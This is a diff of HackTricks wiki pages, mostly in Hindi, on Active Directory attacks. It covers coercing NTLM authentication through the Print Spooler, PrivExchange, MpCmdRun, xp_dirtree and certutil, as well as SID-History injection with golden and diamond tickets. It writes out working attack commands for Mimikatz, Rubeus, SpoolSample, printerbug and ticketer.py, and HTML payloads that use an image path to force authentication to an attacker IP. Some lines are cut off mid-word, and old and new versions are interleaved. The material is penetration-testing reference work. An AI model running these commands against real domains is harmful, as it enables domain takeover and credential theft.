.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
```
@ -52,14 +55,17 @@ Rubeus.exe का उपयोग करके एक वैकल्पिक
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* खोजें [**द पीएएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक पीएएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,52 +1,60 @@
# Force NTLM विशेषाधिकार प्रमाणीकरण
# Force NTLM Privileged Authentication
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करना चाहते हैं? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके।**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## SharpSystemTriggers
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) एक **संग्रह** है जिसमें **रिमोट प्रमाणीकरण ट्रिगर** हैं जो MIDL कंपाइलर का उपयोग करके C# में कोड किए गए हैं ताकि 3rd पार्टी निर्भरता से बचा जा सके।
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) एक **संग्रह** है **दूरस्थ प्रमाणीकरण ट्रिगर्स** का जो C# में MIDL कंपाइलर का उपयोग करके कोडित किया गया है ताकि 3rd पार्टी निर्भरताओं से बचा जा सके।
## Spooler Service Abuse
यदि _**प्रिंट स्पूलर**_ सेवा **सक्रिय** है, तो आप AD क्रेडेंशियल का उपयोग करके डोमेन कंट्रोलर के प्रिंट सर्वर से नए प्रिंट जॉब्स पर **अपड
यदि _**Print Spooler**_ सेवा **सक्रिय** है, तो आप कुछ पहले से ज्ञात AD क्रेडेंशियल्स का उपयोग करके डोमेन कंट्रोलर के प्रिंट सर्वर से नए प्रिंट जॉब्स पर एक **अपडेट** **अनुरोध** कर सकते हैं और बस इसे **किसी सिस्टम को सूचना भेजने** के लिए कह सकते हैं।\
ध्यान दें कि जब प्रिंटर किसी मनमाने सिस्टम को सूचना भेजता है, तो इसे उस **सिस्टम** के खिलाफ **प्रमाणित** होना आवश्यक है। इसलिए, एक हमलावर _**Print Spooler**_ सेवा को किसी मनमाने सिस्टम के खिलाफ प्रमाणित करवा सकता है, और सेवा इस प्रमाणीकरण में **कंप्यूटर खाता** का **उपयोग** करेगी।
### Finding Windows Servers on the domain
PowerShell का उपयोग करके, Windows बॉक्स की एक सूची प्राप्त करें। सर्वर आमतौर पर प्राथमिकता होते हैं, इसलिए आइए वहीं ध्यान केंद्रित करें:
```bash
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
```
### स्पूलर सेवाएं सुन रही हैं
### Finding Spooler services listening
एक थोड़ा सा संशोधित @mysmartlogin's (विन्सेंट ले टूक्स) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) का उपयोग करके देखें कि क्या स्पूलर सेवा सुन रही है:
थोड़े संशोधित @mysmartlogin के (विन्सेंट ले टॉक्स के) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) का उपयोग करके देखें कि क्या Spooler Service सुन रही है:
```bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
```
आप लिनक्स पर rpcdump.py का उपयोग कर सकते हैं और MS-RPRN Protocol के लिए खोज कर सकते हैं।
आप Linux पर rpcdump.py का उपयोग कर सकते हैं और MS-RPRN प्रोटोकॉल की तलाश कर सकते हैं।
```bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
```
### किसी भी होस्ट के खिलाफ सेवा से प्रमाणीकरण करने के लिए सेवा से अनुरोध करें
### किसी मनमाने होस्ट के खिलाफ सेवा से प्रमाणीकरण करने के लिए कहें
आप यहाँ से [**SpoolSample को कंपाइल कर सकते हैं**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**।**
आप [**SpoolSample को यहाँ से संकलित कर सकते हैं**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
```bash
SpoolSample.exe <TARGET> <RESPONDERIP>
```
या [**3xocyte का dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) या [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) का उपयोग करें अगर आप Linux पर हैं।
या [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) या [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) का उपयोग करें यदि आप Linux पर हैं
```bash
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### अनियंत्रित अनुमंडलन के साथ संयोजन
### Unconstrained Delegation के साथ संयोजन
यदि किसी हमलावर ने पहले से ही [अनियंत्रित अनुमंडलन](unconstrained-delegation.md) के साथ किसी कंप्यूटर को कंप्रमाइज कर लिया है, तो हमलावर **प्रिंटर को इस कंप्यूटर के खिलाफ प्रमाणीकरण करने** के लिए सक्षम हो सकता है। अनियंत्रित अनुमंडलन के कारण, **प्रिंटर के कंप्यूटर खाते का TGT** अनियंत्रित अनुमंडलन वाले कंप्यूटर की मेमोरी में **सहेजा जाएगा**। क्योंकि हमलावर ने पहले से ही इस होस्ट को कंप्रमाइज कर लिया है, वह **इस टिकट को पुनः प्राप्त** कर सकेगा और इसका दुरुपयोग कर सकेगा ([टिकट पास](pass-the-ticket.md))।
यदि एक हमलावर पहले से ही [Unconstrained Delegation](unconstrained-delegation.md) के साथ एक कंप्यूटर को समझौता कर चुका है, तो हमलावर **प्रिंटर को इस कंप्यूटर के खिलाफ प्रमाणित करने** के लिए मजबूर कर सकता है। अनियंत्रित प्रतिनिधित्व के कारण, **प्रिंटर के कंप्यूटर खाते का TGT** **अनियंत्रित प्रतिनिधित्व वाले कंप्यूटर की** **मेमोरी** में **सहेजा जाएगा**। चूंकि हमलावर पहले से ही इस होस्ट को समझौता कर चुका है, वह **इस टिकट को पुनः प्राप्त** करने और इसका दुरुपयोग करने में सक्षम होगा ([Pass the Ticket](pass-the-ticket.md))।
## RCP बल प्रमाणीकरण
@ -54,9 +62,15 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
## PrivExchange
`PrivExchange` हमला एक दोष का परिणाम है जो **एक्सचेंज सर्वर `PushSubscription` विशेषता** में पाया गया है। यह विशेषता एक्सचेंज सर्वर को किसी भी डोमेन उपयोगकर्ता द्वारा बाधित करने की अनुमति देती है ताकि वह HTTP के माध्यम से किसी भी क्लाइंट द्वारा प्रदान किए गए होस्ट को प्रमाणीकृत कर सके
`PrivExchange` हमला **Exchange Server `PushSubscription` फीचर** में पाए गए दोष का परिणाम है। यह फीचर किसी भी डोमेन उपयोगकर्ता को जो एक मेलबॉक्स रखता है, को किसी भी क्लाइंट-प्रदानित होस्ट पर HTTP के माध्यम से प्रमाणित करने के लिए Exchange सर्वर को मजबूर करने की अनुमति देता है
डिफ़ॉल्ट रूप से, **एक्सचेंज सेवा SYSTEM के रूप में चलती है** और इसे अत्यधिक अधिकार (विशेष रूप से, **डोमेन पूर्व-2019 संचयी अपड
डिफ़ॉल्ट रूप से, **Exchange सेवा SYSTEM के रूप में चलती है** और इसे अत्यधिक विशेषाधिकार दिए जाते हैं (विशेष रूप से, इसके पास **डोमेन प्री-2019 संचयी अपडेट पर WriteDacl विशेषाधिकार** हैं)। इस दोष का उपयोग **LDAP पर जानकारी के पुनः प्रेषण को सक्षम करने और इसके बाद डोमेन NTDS डेटाबेस को निकालने** के लिए किया जा सकता है। उन मामलों में जहां LDAP पर पुनः प्रेषण संभव नहीं है, इस दोष का उपयोग डोमेन के भीतर अन्य होस्टों पर पुनः प्रेषण और प्रमाणित करने के लिए किया जा सकता है। इस हमले का सफलतापूर्वक शोषण करने से किसी भी प्रमाणित डोमेन उपयोगकर्ता खाते के साथ डोमेन व्यवस्थापक तक तात्कालिक पहुंच मिलती है।
## Windows के अंदर
यदि आप पहले से ही Windows मशीन के अंदर हैं, तो आप विशेषाधिकार प्राप्त खातों का उपयोग करके Windows को एक सर्वर से कनेक्ट करने के लिए मजबूर कर सकते हैं:
### Defender MpCmdRun
```bash
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
```
@ -64,29 +78,46 @@ C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -S
```sql
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
```
या इस दूसरी तकनीक का उपयोग करें: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
या इस अन्य तकनीक का उपयोग करें: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
### Certutil
Certutil.exe lolbin (Microsoft-signed binary) का उपयोग करके NTLM प्रमाणीकरण को बलपूर्वक करना संभव है:
NTLM प्रमाणीकरण को मजबूर करने के लिए certutil.exe lolbin (Microsoft-हस्ताक्षरित बाइनरी) का उपयोग करना संभव है:
```bash
certutil.exe -syncwithWU \\127.0.0.1\share
```
## HTML इन्जेक्शन
## HTML injection
### ईमेल के माध्यम से
### Via email
यदि आपके पास उस उपयोगकर्ता का **ईमेल पता** है जो आपके द्वारा कंप्रोमाइज़ करना चाहते हैं, तो आप उसे एक **1x1 छवि के साथ ईमेल** भेज सकते हैं जैसे कि
यदि आप उस उपयोगकर्ता का **ईमेल पता** जानते हैं जो उस मशीन में लॉग इन करता है जिसे आप समझौता करना चाहते हैं, तो आप बस उसे एक **1x1 छवि** के साथ **ईमेल** भेज सकते हैं जैसे
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
और जब वह इसे खोलेगा, तो वह प्रमाणीकरण करने की कोशिश करेगा।
### MitM
यदि आप किसी कंप्यूटर पर MitM हमला कर सकते हैं और उस पेज में HTML इंजेक्ट कर सकते हैं जिसे वह देखेगा, तो आप पेज में निम्नलिखित तरह की छवि इंजेक्ट करने की कोशिश कर सकते हैं:
यदि आप किसी कंप्यूटर पर MitM हमला कर सकते हैं और एक पृष्ठ में HTML इंजेक्ट कर सकते हैं जिसे वह देखेगा, तो आप पृष्ठ में निम्नलिखित की तरह एक छवि इंजेक्ट करने की कोशिश कर सकते हैं:
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
## NTLMv1 क्रैकिंग
## NTLMv1 को क्रैक करना
अगर आप [NTLMv1 challenges read here how to crack them](../ntlm/#ntlmv1-attack) को कैप्चर कर सकते हैं।\
_ध्यान रखें कि NTLMv1 को क्रैक करने के लिए आपको रिस्पॉंडर चैलेंज को "1122334455667788" पर सेट करना होगा_
यदि आप [NTLMv1 चुनौतियों को कैप्चर कर सकते हैं, तो यहां पढ़ें कि उन्हें कैसे क्रैक करें](../ntlm/#ntlmv1-attack)।\
_याद रखें कि NTLMv1 को क्रैक करने के लिए आपको Responder चुनौती को "1122334455667788" पर सेट करना होगा_
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **हैकिंग ट्रिक्स साझा करें, PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके।
</details>
{% endhint %}

View file

@ -1,27 +1,34 @@
# PrintNightmare
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **[**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) में शामिल हों या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) पर पीआर जमा करके।**
</details>
**2024 में PrintNightmare के बारे में इस शानदार ब्लॉग पोस्ट की जांच करें: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **[**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) में शामिल हों या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) पर पीआर जमा करके।**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
</details>
{% endhint %}
**2024 में PrintNightmare के बारे में इस शानदार ब्लॉग पोस्ट को देखें: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,26 +1,35 @@
# SID इतिहास अधिकरण
# SID-History Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## SID इतिहास अधिकरण हमला
## SID History Injection Attack
**SID इतिहास अधिकरण हमला** का मुख्य ध्यान **उपयोगकर्ता प्रवास बीच डोमेन** को सहायता देना है जबकि पुराने डोमेन से संसाधनों तक का निरंतर पहुंच सुनिश्चित करना। इसे **उपयोगकर्ता के पिछले सुरक्षा पहचानकर्ता (SID) को उनके नए खाते के SID इतिहास में शामिल करके** पूरा किया जाता है। विशेष रूप से, इस प्रक्रिया का दुरुपयोग करके अनधिकृत पहुंच प्रदान करने के लिए माता डोमेन से उच्च विशेषाधिकार समूह (जैसे कि एंटरप्राइज व्यवस्थापक या डोमेन व्यवस्थापक) का SID इतिहास में जोड़ा जा सकता है। यह शोषण माता डोमेन के सभी संसाधनों तक पहुंच प्रदान करता है।
**SID History Injection Attack** का ध्यान **डोमेन के बीच उपयोगकर्ता माइग्रेशन** में मदद करना है, जबकि पूर्व डोमेन से संसाधनों तक निरंतर पहुंच सुनिश्चित करना है। यह **उपयोगकर्ता के पिछले सुरक्षा पहचानकर्ता (SID) को उनके नए खाते के SID इतिहास में शामिल करके** किया जाता है। विशेष रूप से, इस प्रक्रिया का दुरुपयोग करके उच्च-विशेषाधिकार समूह (जैसे एंटरप्राइज एडमिन या डोमेन एडमिन) के SID को माता-पिता डोमेन से SID इतिहास में जोड़कर अनधिकृत पहुंच प्रदान की जा सकती है। इस शोषण से माता-पिता डोमेन के भीतर सभी संसाधनों तक पहुंच मिलती है।
इस हमला को कार्रवाई करने के लिए दो विध
इस हमले को निष्पादित करने के लिए दो तरीके हैं: या तो **गोल्डन टिकट** के निर्माण के माध्यम से या **डायमंड टिकट** के माध्यम से।
**"Enterprise Admins"** समूह के लिए SID को पहचानने के लिए, सबसे पहले रूट डोमेन का SID ढूंढना होगा। पहचान के बाद, एंटरप्राइज एडमिन समूह SID को रूट डोमेन के SID में `-519` जोड़कर बनाया जा सकता है। उदाहरण के लिए, यदि रूट डोमेन SID `S-1-5-21-280534878-1496970234-700767426` है, तो "Enterprise Admins" समूह के लिए परिणामस्वरूप SID `S-1-5-21-280534878-1496970234-700767426-519` होगा।
आप **Domain Admins** समूहों का भी उपयोग कर सकते हैं, जो **512** पर समाप्त होता है।
दूसरे डोमेन (उदाहरण के लिए "Domain Admins") के समूह का SID खोजने का एक और तरीका है:
```powershell
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
### गोल्डन टिकट (मिमीकैट्ज) के साथ KRBTGT-AES256
### गोल्डन टिकट (Mimikatz) KRBTGT-AES256 के साथ
{% code overflow="wrap" %}
```bash
@ -47,7 +56,7 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid
[golden-ticket.md](golden-ticket.md)
{% endcontent-ref %}
### डायमंड टिकट (रुबेस + KRBTGT-AES256)
### डायमंड टिकट (Rubeus + KRBTGT-AES256)
{% code overflow="wrap" %}
```powershell
@ -61,7 +70,7 @@ Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_s
```
{% endcode %}
डायमंड टिकट्स के बारे में अधिक जानकारी के लिए देखें:
डायमंड टिकट के बारे में अधिक जानकारी के लिए देखें:
{% content-ref url="diamond-ticket.md" %}
[diamond-ticket.md](diamond-ticket.md)
@ -75,7 +84,9 @@ ls \\mcorp-dc.moneycorp.local\c$
```
{% endcode %}
संकटित डोमेन के KRBTGT हैश का उपयोग करके रूट या एंटरप्राइज व्यवस्थापक तक उन्नति करें:
समझौता किए गए डोमेन के KRBTGT हैश का उपयोग करके रूट या एंटरप्राइज एडमिन के DA में वृद्धि करें:
{% code overflow="wrap" %}
```bash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
@ -89,7 +100,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
```
{% endcode %}
अटैक से प्राप्त अनुमतियों के साथ आप उदाहरण के लिए नए डोमेन में DCSync हमला कर सकते हैं:
हमले से प्राप्त अनुमतियों के साथ, आप नए डोमेन में उदाहरण के लिए DCSync हमला कर सकते हैं:
{% content-ref url="dcsync.md" %}
[dcsync.md](dcsync.md)
@ -97,7 +108,9 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
### लिनक्स से
#### [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) के साथ मैन्युअल
#### [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) के साथ मैनुअल
{% code overflow="wrap" %}
```bash
# This is for an attack from child to root domain
# Get child domain SID
@ -119,21 +132,21 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
```
{% endcode %}
